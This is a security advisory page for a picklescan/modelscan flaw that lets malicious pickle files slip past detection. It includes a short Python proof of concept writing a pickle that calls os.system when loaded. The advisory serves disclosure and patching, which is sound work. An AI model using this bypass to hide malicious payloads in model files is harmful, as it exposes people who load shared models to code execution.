GHSA-9GVJ-PP9X-GCFR

Vulnerability from github – Published: 2025-08-12 00:13 – Updated: 2025-08-12 00:13
VLAI
Summary
Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
Details

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL. Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T00:13:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Details\nThere\u0027s a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     \u0027os\u0027 --\u003e arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     \u0027system\u0027 --\u003e arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     \u0027ls\u0027\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S\u0027os\u0027\\nS\u0027system\u0027\\n\\x93S\u0027ls\u0027\\n\\x85R.\"\nwith open(\u0027bad_pickle.pkl\u0027, \u0027wb\u0027) as f:\n    f.write(payload)\npickle.load(open(\u0027bad_pickle.pkl\u0027, \u0027rb\u0027))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255",
  "id": "GHSA-9gvj-pp9x-gcfr",
  "modified": "2025-08-12T00:13:55Z",
  "published": "2025-08-12T00:13:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…